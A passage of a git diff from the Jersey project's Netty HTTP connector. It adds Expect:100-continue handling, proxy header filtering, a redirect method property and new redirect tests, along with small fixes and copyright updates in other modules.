} + } + headers.remove(HttpHeaders.LAST_MODIFIED); + headers.remove(HttpHeaders.TRANSFER_ENCODING); + } + + /* package */ static class ProxyHeaders implements Predicate { + static final ProxyHeaders INSTANCE = new ProxyHeaders(); + private static final String HOST = HttpHeaders.HOST.toLowerCase(Locale.ROOT); + private static final String FORWARDED = HttpHeaders.FORWARDED.toLowerCase(Locale.ROOT); + + @Override + public boolean test(String headerName) { + String lowName = headerName.toLowerCase(Locale.ROOT); + return lowName.startsWith("proxy-") || lowName.equals(HOST) || lowName.equals(FORWARDED); + } + } } diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java new file mode 100644 index 0000000000..8bceac63ab --- /dev/null +++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/JerseyExpectContinueHandler.java @@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.connector; + +import io.netty.channel.Channel; +import io.netty.channel.ChannelFuture; +import io.netty.channel.ChannelHandlerContext; +import io.netty.channel.ChannelInboundHandlerAdapter; +import io.netty.handler.codec.http.DefaultFullHttpRequest; +import io.netty.handler.codec.http.HttpHeaderNames; +import io.netty.handler.codec.http.HttpRequest; +import io.netty.handler.codec.http.HttpResponse; +import io.netty.handler.codec.http.HttpResponseStatus; +import io.netty.handler.codec.http.HttpUtil; +import org.glassfish.jersey.client.ClientRequest; + +import jakarta.ws.rs.ProcessingException; +import java.util.Arrays; +import java.util.List; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; + +public class JerseyExpectContinueHandler extends ChannelInboundHandlerAdapter { + + private boolean isExpected; + + private static final List statusesToBeConsidered = Arrays.asList(HttpResponseStatus.CONTINUE, + HttpResponseStatus.UNAUTHORIZED, HttpResponseStatus.EXPECTATION_FAILED, + HttpResponseStatus.METHOD_NOT_ALLOWED, HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE); + + private CompletableFuture expectedFuture = new CompletableFuture<>(); + + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + if (isExpected && msg instanceof HttpResponse) { + final HttpResponse response = (HttpResponse) msg; + if (statusesToBeConsidered.contains(response.status())) { + expectedFuture.complete(response.status()); + } + if (!HttpResponseStatus.CONTINUE.equals(response.status())) { + ctx.fireChannelRead(msg); //bypass the message to the next handler in line + } else { + ctx.pipeline().remove(JerseyExpectContinueHandler.class); + } + } else { + if (!isExpected) { + ctx.pipeline().remove(JerseyExpectContinueHandler.class); + } + ctx.fireChannelRead(msg); //bypass the message to the next handler in line + } + } + + CompletableFuture processExpect100ContinueRequest(HttpRequest nettyRequest, + ClientRequest jerseyRequest, + Channel ch, + Integer timeout) + throws InterruptedException, ExecutionException, TimeoutException { + //check for 100-Continue presence/availability + final Expect100ContinueConnectorExtension expect100ContinueExtension + = new Expect100ContinueConnectorExtension(); + + final DefaultFullHttpRequest nettyRequestHeaders = + new DefaultFullHttpRequest(nettyRequest.protocolVersion(), nettyRequest.method(), nettyRequest.uri()); + nettyRequestHeaders.headers().setAll(nettyRequest.headers()); + + if (!nettyRequestHeaders.headers().contains(HttpHeaderNames.HOST)) { + nettyRequestHeaders.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost()); + } + + //If Expect:100-continue feature is enabled and client supports it, the nettyRequestHeaders will be + //enriched with the 'Expect:100-continue' header. + expect100ContinueExtension.invoke(jerseyRequest, nettyRequestHeaders); + + final ChannelFuture expect100ContinueFuture = (HttpUtil.is100ContinueExpected(nettyRequestHeaders)) + // Send only head of the HTTP request enriched with Expect:100-continue header. + ? ch.writeAndFlush(nettyRequestHeaders) + // Expect:100-Continue either is not supported or is turned off + : null; + isExpected = expect100ContinueFuture != null; + if (!isExpected) { + ch.pipeline().remove(JerseyExpectContinueHandler.class); + } else { + final HttpResponseStatus status = expectedFuture + .get(timeout, TimeUnit.MILLISECONDS); + + processExpectationStatus(status); + } + return expectedFuture; + } + + private void processExpectationStatus(HttpResponseStatus status) + throws TimeoutException { + if (!statusesToBeConsidered.contains(status)) { + throw new ProcessingException(LocalizationMessages + .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null); + } + if (!expectedFuture.isDone() || HttpResponseStatus.EXPECTATION_FAILED.equals(status)) { + isExpected = false; + throw new TimeoutException(); // continue without expectations + } + if (!HttpResponseStatus.CONTINUE.equals(status)) { + throw new ProcessingException(LocalizationMessages + .UNEXPECTED_VALUE_FOR_EXPECT_100_CONTINUE_STATUSES(status.code()), null); + } + } + + boolean isExpected() { + return isExpected; + } +} \ No newline at end of file diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java index 671b08ff25..9c79d1281d 100644 --- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java +++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyClientProperties.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,11 +28,32 @@ public class NettyClientProperties { /** *

- * This property determines the maximum number of idle connections that will be simultaneously kept alive - * in total, rather than per destination. The default is 60. Specify 0 to disable. + * Sets the endpoint identification algorithm to HTTPS. + *

+ *

+ * The default value is {@code true} (for HTTPS uri scheme). + *

+ *

+ * The name of the configuration property is {@value}. *

+ * @since 2.35 + * @see javax.net.ssl.SSLParameters#setEndpointIdentificationAlgorithm(String) */ - public static final String MAX_CONNECTIONS_TOTAL = "jersey.config.client.maxTotalConnections"; + public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = "jersey.config.client.tls.enableHostnameVerification"; + + /** + *

+ * Filter the HTTP headers for requests (CONNECT) towards the proxy except for PROXY-prefixed and HOST headers when {@code true}. + *

+ *

+ * The default value is {@code true} and the headers are filtered out. + *

+ *

+ * The name of the configuration property is {@value}. + *

+ * @since 2.41 + */ + public static final String FILTER_HEADERS_FOR_PROXY = "jersey.config.client.filter.headers.proxy"; /** *

@@ -56,23 +77,16 @@ public class NettyClientProperties { /** *

- * Sets the endpoint identification algorithm to HTTPS. - *

- *

- * The default value is {@code true} (for HTTPS uri scheme). - *

- *

- * The name of the configuration property is {@value}. + * This property determines the maximum number of idle connections that will be simultaneously kept alive + * in total, rather than per destination. The default is 60. Specify 0 to disable. *

- * @since 2.35 - * @see javax.net.ssl.SSLParameters#setEndpointIdentificationAlgorithm(String) */ - public static final String ENABLE_SSL_HOSTNAME_VERIFICATION = "jersey.config.client.tls.enableHostnameVerification"; + public static final String MAX_CONNECTIONS_TOTAL = "jersey.config.client.maxTotalConnections"; /** * The maximal number of redirects during single request. *

- * Value is expected to be positive {@link Integer}. Default value is {@value #DEFAULT_MAX_REDIRECTS}. + * Value is expected to be positive {@link Integer}. Default value is 5. *

* HTTP redirection must be enabled by property {@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}, * otherwise {@code MAX_REDIRECTS} is not applied. @@ -82,4 +96,37 @@ public class NettyClientProperties { * @see org.glassfish.jersey.netty.connector.internal.RedirectException */ public static final String MAX_REDIRECTS = "jersey.config.client.NettyConnectorProvider.maxRedirects"; + + /** + *

+ * Sets the HTTP POST method to be preserved on HTTP status 301 (MOVED PERMANENTLY) or status 302 (FOUND) when {@code true} + * or redirected as GET when {@code false}. + *

+ *

+ * The default value is {@code true} and the HTTP POST request is not redirected as GET. + *

+ *

+ * The name of the configuration property is {@value}. + *

+ * @since 2.41 + */ + public static final String PRESERVE_METHOD_ON_REDIRECT = "jersey.config.client.redirect.preserve.method"; + + + /** + * This timeout is used for waiting for 100-Continue response when 100-Continue is sent by the client. + * + * @since 2.41 + */ + public static final String + EXPECT_100_CONTINUE_TIMEOUT = "jersey.config.client.request.expect.100.continue.timeout"; + + /** + * The default value of EXPECT_100_CONTINUE_TIMEOUT. + * + * @since 2.41 + */ + public static final Integer + DEFAULT_EXPECT_100_CONTINUE_TIMEOUT_VALUE = 500; + } diff --git a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java index 4b4f16f97b..ede8c36a54 100644 --- a/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java +++ b/connectors/netty-connector/src/main/java/org/glassfish/jersey/netty/connector/NettyConnector.java @@ -31,13 +31,16 @@ import java.util.Set; import java.util.concurrent.CompletableFuture; import java.util.concurrent.CompletionException; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutionException; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.Future; import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.function.Supplier; -import javax.net.ssl.SSLEngine; -import javax.net.ssl.SSLParameters; +import javax.net.ssl.SSLContext; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.client.Client; @@ -123,6 +126,7 @@ class NettyConnector implements Connector { private static final String PRUNE_INACTIVE_POOL = "prune_inactive_pool"; private static final String READ_TIMEOUT_HANDLER = "read_timeout_handler"; private static final String REQUEST_HANDLER = "request_handler"; + private static final String EXPECT_100_CONTINUE_HANDLER = "expect_100_continue_handler"; NettyConnector(Client client) { @@ -189,6 +193,9 @@ public Future apply(final ClientRequest jerseyRequest, final AsyncConnectorCa protected void execute(final ClientRequest jerseyRequest, final Set redirectUriHistory, final CompletableFuture responseAvailable) { Integer timeout = jerseyRequest.resolveProperty(ClientProperties.READ_TIMEOUT, 0); + final Integer expect100ContinueTimeout = jerseyRequest.resolveProperty( + NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, + NettyClientProperties.DEFAULT_EXPECT_100_CONTINUE_TIMEOUT_VALUE); if (timeout == null || timeout < 0) { throw new ProcessingException(LocalizationMessages.WRONG_READ_TIMEOUT(timeout)); } @@ -200,8 +207,10 @@ protected void execute(final ClientRequest jerseyRequest, final Set redirec int port = requestUri.getPort() != -1 ? requestUri.getPort() : "https".equals(requestUri.getScheme()) ? 443 : 80; try { + final SSLParamConfigurator sslConfig = SSLParamConfigurator.builder() + .request(jerseyRequest).setSNIAlways(true).build(); - String key = requestUri.getScheme() + "://" + host + ":" + port; + String key = requestUri.getScheme() + "://" + sslConfig.getSNIHostName() + ":" + port; ArrayList conns; synchronized (connections) { conns = connections.get(key); @@ -231,9 +240,8 @@ protected void execute(final ClientRequest jerseyRequest, final Set redirec } } - Integer connectTimeout = jerseyRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, 0); - if (chan == null) { + Integer connectTimeout = jerseyRequest.resolveProperty(ClientProperties.CONNECT_TIMEOUT, 0); Bootstrap b = new Bootstrap(); // http proxy @@ -270,7 +278,7 @@ protected void initChannel(SocketChannel ch) throws Exception { if ("https".equals(requestUri.getScheme())) { // making client authentication optional for now; it could be extracted to configurable property JdkSslContext jdkSslContext = new JdkSslContext( - client.getSslContext(), + getSslContext(client, jerseyRequest), true, (Iterable) null, IdentityCipherSuiteFilter.INSTANCE, @@ -281,8 +289,7 @@ protected void initChannel(SocketChannel ch) throws Exception { ); final int port = requestUri.getPort(); - final SSLParamConfigurator sslConfig = SSLParamConfigurator.builder() - .request(jerseyRequest).setSNIAlways(true).build(); + final SslHandler sslHandler = jdkSslContext.newHandler( ch.alloc(), sslConfig.getSNIHostName(), port <= 0 ? 443 : port, executorService ); @@ -320,9 +327,11 @@ protected void initChannel(SocketChannel ch) throws Exception { final Channel ch = chan; JerseyClientHandler clientHandler = new JerseyClientHandler(jerseyRequest, responseAvailable, responseDone, redirectUriHistory, this); + final JerseyExpectContinueHandler expect100ContinueHandler = new JerseyExpectContinueHandler(); // read timeout makes sense really as an inactivity timeout ch.pipeline().addLast(READ_TIMEOUT_HANDLER, new IdleStateHandler(0, 0, timeout, TimeUnit.MILLISECONDS)); + ch.pipeline().addLast(EXPECT_100_CONTINUE_HANDLER, expect100ContinueHandler); ch.pipeline().addLast(REQUEST_HANDLER, clientHandler); responseDone.whenComplete((_r, th) -> { @@ -375,11 +384,13 @@ protected void initChannel(SocketChannel ch) throws Exception { } // headers - setHeaders(jerseyRequest, nettyRequest.headers()); + if (!jerseyRequest.hasEntity()) { + setHeaders(jerseyRequest, nettyRequest.headers(), false); - // host header - http 1.1 - if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) { - nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost()); + // host header - http 1.1 + if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) { + nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost()); + } } if (jerseyRequest.hasEntity()) { @@ -407,23 +418,35 @@ public void operationComplete(io.netty.util.concurrent.Future futu // // Set later after the entity is "written" // break; } + try { + expect100ContinueHandler.processExpect100ContinueRequest(nettyRequest, jerseyRequest, + ch, expect100ContinueTimeout); + } catch (ExecutionException e) { + responseDone.completeExceptionally(e); + } catch (TimeoutException e) { + //Expect:100-continue allows timeouts by the spec + //just removing the pipeline from processing + if (ch.pipeline().context(JerseyExpectContinueHandler.class) != null) { + ch.pipeline().remove(EXPECT_100_CONTINUE_HANDLER); + } + } - // Send the HTTP request. - entityWriter.writeAndFlush(nettyRequest); + final CountDownLatch headersSet = new CountDownLatch(1); + final CountDownLatch contentLengthSet = new CountDownLatch(1); jerseyRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() { @Override public OutputStream getOutputStream(int contentLength) throws IOException { + replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes + if (!nettyRequest.headers().contains(HttpHeaderNames.HOST)) { + nettyRequest.headers().add(HttpHeaderNames.HOST, jerseyRequest.getUri().getHost()); + } + headersSet.countDown(); + return entityWriter.getOutputStream(); } }); - if (HttpUtil.isTransferEncodingChunked(nettyRequest)) { - entityWriter.write(new HttpChunkedInput(entityWriter.getChunkedInput())); - } else { - entityWriter.write(entityWriter.getChunkedInput()); - } - executorService.execute(new Runnable() { @Override public void run() { @@ -434,9 +457,8 @@ public void run() { jerseyRequest.writeEntity(); if (entityWriter.getType() == NettyEntityWriter.Type.DELAYED) { - replaceHeaders(jerseyRequest, nettyRequest.headers()); // WriterInterceptor changes nettyRequest.headers().set(HttpHeaderNames.CONTENT_LENGTH, entityWriter.getLength()); - entityWriter.flush(); + contentLengthSet.countDown(); } } catch (IOException e) { @@ -445,9 +467,23 @@ public void run() { } }); - if (entityWriter.getType() != NettyEntityWriter.Type.DELAYED) { - entityWriter.flush(); + headersSet.await(); + if (!expect100ContinueHandler.isExpected()) { + // Send the HTTP request. Expect:100-continue processing is not applicable + // in this case. + entityWriter.writeAndFlush(nettyRequest); } + + if (HttpUtil.isTransferEncodingChunked(nettyRequest)) { + entityWriter.write(new HttpChunkedInput(entityWriter.getChunkedInput())); + } else { + entityWriter.write(entityWriter.getChunkedInput()); + } + + if (entityWriter.getType() == NettyEntityWriter.Type.DELAYED) { + contentLengthSet.await(); + } + entityWriter.flush(); } else { // Send the HTTP request. ch.writeAndFlush(nettyRequest); @@ -458,6 +494,11 @@ public void run() { } } + private SSLContext getSslContext(Client client, ClientRequest request) { + Supplier supplier = request.resolveProperty(ClientProperties.SSL_CONTEXT_SUPPLIER, Supplier.class); + return supplier == null ? client.getSslContext() : supplier.get(); + } + private String buildPathWithQueryParameters(URI requestUri) { if (requestUri.getRawQuery() != null) { return String.format("%s?%s", requestUri.getRawPath(), requestUri.getRawQuery()); @@ -510,7 +551,8 @@ public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exc private static ProxyHandler createProxyHandler(ClientRequest jerseyRequest, SocketAddress proxyAddr, String userName, String password, long connectTimeout) { - HttpHeaders httpHeaders = setHeaders(jerseyRequest, new DefaultHttpHeaders()); + final Boolean filter = jerseyRequest.resolveProperty(NettyClientProperties.FILTER_HEADERS_FOR_PROXY, Boolean.TRUE); + HttpHeaders httpHeaders = setHeaders(jerseyRequest, new DefaultHttpHeaders(), Boolean.TRUE.equals(filter)); ProxyHandler proxy = userName == null ? new HttpProxyHandler(proxyAddr, httpHeaders) : new HttpProxyHandler(proxyAddr, userName, password, httpHeaders); @@ -521,9 +563,12 @@ private static ProxyHandler createProxyHandler(ClientRequest jerseyRequest, Sock return proxy; } - private static HttpHeaders setHeaders(ClientRequest jerseyRequest, HttpHeaders headers) { + private static HttpHeaders setHeaders(ClientRequest jerseyRequest, HttpHeaders headers, boolean proxyOnly) { for (final Map.Entry> e : jerseyRequest.getStringHeaders().entrySet()) { - headers.add(e.getKey(), e.getValue()); + final String key = e.getKey(); + if (!proxyOnly || JerseyClientHandler.ProxyHeaders.INSTANCE.test(key) || additionalProxyHeadersToKeep(key)) { + headers.add(key, e.getValue()); + } } return headers; } @@ -534,4 +579,11 @@ private static HttpHeaders replaceHeaders(ClientRequest jerseyRequest, HttpHeade } return headers; } + + /* + * Keep all X- headers (X-Forwarded-For,...) for proxy + */ + private static boolean additionalProxyHeadersToKeep(String key) { + return key.length() > 2 && (key.charAt(0) == 'x' || key.charAt(0) == 'X') && (key.charAt(1) == '-'); + } } diff --git a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties index ba91c4f649..7d6f9fcc39 100644 --- a/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties +++ b/connectors/netty-connector/src/main/resources/org/glassfish/jersey/netty/connector/localization.properties @@ -1,5 +1,5 @@ # -# Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -22,3 +22,4 @@ redirect.no.location="Received redirect that does not contain a location or the redirect.error.determining.location="Error determining redirect location: ({0})." redirect.infinite.loop="Infinite loop in chained redirects detected." redirect.limit.reached="Max chained redirect limit ({0}) exceeded." +unexpected.value.for.expect.100.continue.statuses=Unexpected value: ("{0}"). diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java index a01c04d849..963dd86169 100644 --- a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java +++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/BufferedTest.java @@ -51,12 +51,10 @@ public class BufferedTest extends JerseyTest { public static class BufferedTestResource { @POST public String post(@Context HttpHeaders headers, String entity) { - System.out.println("Remote"); String ret = headers.getHeaderString(HEADER_1) + headers.getHeaderString(HEADER_2) + headers.getHeaderString(HEADER_3) + entity; - System.out.println(ret); return ret; } } diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java index 2eb36584a7..ee752a54bc 100644 --- a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java +++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/HttpHeadersTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,7 @@ package org.glassfish.jersey.netty.connector; +import jakarta.ws.rs.GET; import jakarta.ws.rs.HeaderParam; import jakarta.ws.rs.POST; import jakarta.ws.rs.Path; @@ -46,6 +47,15 @@ public String post( assertEquals("client", xClient); return "POST"; } + + @GET + public String get( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter) { + assertEquals("client", xClient); + return "GET"; + } } @Override @@ -66,4 +76,13 @@ public void testPost() { assertTrue(response.hasEntity()); response.close(); } + + @Test + public void testGet() { + Response response = target("test").request().header("X-CLIENT", "client").get(); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + response.close(); + } } diff --git a/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java new file mode 100644 index 0000000000..dd56e74661 --- /dev/null +++ b/connectors/netty-connector/src/test/java/org/glassfish/jersey/netty/connector/RedirectHeadersTest.java @@ -0,0 +1,193 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.netty.connector; + +import io.netty.handler.codec.http.HttpHeaderNames; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.QueryParam; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.MultivaluedHashMap; +import jakarta.ws.rs.core.MultivaluedMap; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.atomic.AtomicReference; +import java.util.logging.Logger; + +public class RedirectHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(RedirectHeadersTest.class.getName()); + private static final String TEST_URL = "http://localhost:%d/test"; + private static final AtomicReference TEST_URL_REF = new AtomicReference<>(); + private static final String ENTITY = "entity"; + + @BeforeEach + public void before() { + final String url = String.format(TEST_URL, getPort()); + TEST_URL_REF.set(url); + } + + @Path("/test") + public static class RedirectResource { + @GET + public String get(@QueryParam("value") String value) { + return "GET" + value; + } + + @POST + public String echo(@QueryParam("value") String value, String entity) { + return entity + value; + } + + @GET + @Path("headers2") + public String headers(@Context HttpHeaders headers) { + String encoding = headers.getHeaderString(HttpHeaders.CONTENT_ENCODING); + String auth = headers.getHeaderString(HttpHeaderNames.PROXY_AUTHORIZATION.toString()); + return encoding + ":" + auth; + } + + @POST + @Path("301") + public Response redirect301(String entity) { + return Response.status(Response.Status.MOVED_PERMANENTLY) + .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=301")) + .build(); + } + + @POST + @Path("302") + public Response redirect302(String entity) { + return Response.status(Response.Status.FOUND) + .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=302")) + .build(); + } + + @POST + @Path("307") + public Response redirect307(String entity) { + return Response.status(Response.Status.TEMPORARY_REDIRECT) + .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=307")) + .build(); + } + + @POST + @Path("308") + public Response redirectHeaders(String entity) { + return Response.status(308) + .header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "?value=308")) + .build(); + } + + + @POST + @Path("headers1") + public Response redirect308(String whatever) { + return Response.status(301).header(HttpHeaders.LOCATION, URI.create(TEST_URL_REF.get() + "/headers2")).build(); + } + + @GET + @Path("relative") + public Response relative() { + return Response.status(301).header(HttpHeaders.LOCATION, URI.create("/test/headers2").toASCIIString()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + config.property(ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_DISABLED, Boolean.TRUE); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new NettyConnectorProvider()); + } + + @Test + void testPost() { + testPost("301"); + testPost("302"); + testPost("307"); + testPost("308"); + } + + @Test + void testGet() { + Assertions.assertEquals("GET301", testGet("301")); + Assertions.assertEquals("GET302", testGet("302")); + Assertions.assertEquals(ENTITY + "307", testGet("307")); + Assertions.assertEquals(ENTITY + "308", testGet("308")); + } + + @Test + void testHeaders() { + MultivaluedMap headers = new MultivaluedHashMap<>(); + headers.add(HttpHeaders.CONTENT_ENCODING, "gzip"); + headers.add(HttpHeaderNames.PROXY_AUTHORIZATION.toString(), "basic aGVsbG86d29ybGQ="); + try (Response response = target("test") + .property(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, false) + .path("headers1").request().headers(headers).post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("null:null", response.readEntity(String.class)); + } + } + + @Test + void testRelative() { + MultivaluedMap headers = new MultivaluedHashMap<>(); + try (Response response = target("test") + .path("relative").request().headers(headers).get()) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals("null:null", response.readEntity(String.class)); + } + } + + void testPost(String status) { + try (Response response = target("test").path(status).request().post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + Assertions.assertEquals(ENTITY + status, response.readEntity(String.class)); + } + } + + String testGet(String status) { + try (Response response = target("test") + .property(NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT, false) + .path(status).request().post(Entity.entity(ENTITY, MediaType.TEXT_PLAIN_TYPE))) { + Assertions.assertEquals(200, response.getStatus()); + return response.readEntity(String.class); + } + } +} diff --git a/connectors/pom.xml b/connectors/pom.xml index deb7a0a4b4..49c9ecfbb3 100644 --- a/connectors/pom.xml +++ b/connectors/pom.xml @@ -40,6 +40,7 @@ helidon-connector jdk-connector jetty-connector + jetty-http2-connector netty-connector diff --git a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java index 472d5edacd..01e9e34d75 100644 --- a/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java +++ b/containers/jdk-http/src/test/java/org/glassfish/jersey/jdkhttp/JdkHttpsServerTest.java @@ -218,7 +218,7 @@ private SSLContext getServerSslContext() throws IOException { private URI updatePort(URI uri) { - return UriBuilder.fromUri(httpsUri).port(server.getAddress().getPort()).build(); + return UriBuilder.fromUri(uri).port(server.getAddress().getPort()).build(); } @AfterEach diff --git a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java index 5b51a2f9c2..31b8f93156 100644 --- a/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java +++ b/containers/jersey-servlet-core/src/main/java/org/glassfish/jersey/servlet/internal/ResponseWriter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -125,7 +125,7 @@ public OutputStream writeResponseStatusAndHeaders(final long contentLength, fina // the invocation of sendError as on some Servlet implementations // modification of the response headers will have no effect // after the invocation of sendError. - final MultivaluedMap headers = getResponseContext().getStringHeaders(); + final MultivaluedMap headers = responseContext.getStringHeaders(); for (final Map.Entry> e : headers.entrySet()) { final Iterator it = e.getValue().iterator(); if (!it.hasNext()) { diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml index 3901a58243..e5a083f9bb 100644 --- a/containers/jetty-http2/pom.xml +++ b/containers/jetty-http2/pom.xml @@ -195,7 +195,7 @@ maven-compiler-plugin - org/glassfish/jersey/jetty/*.java + org/glassfish/jersey/jetty/http2/*.java diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java index 068ea4c8fc..b03f409960 100644 --- 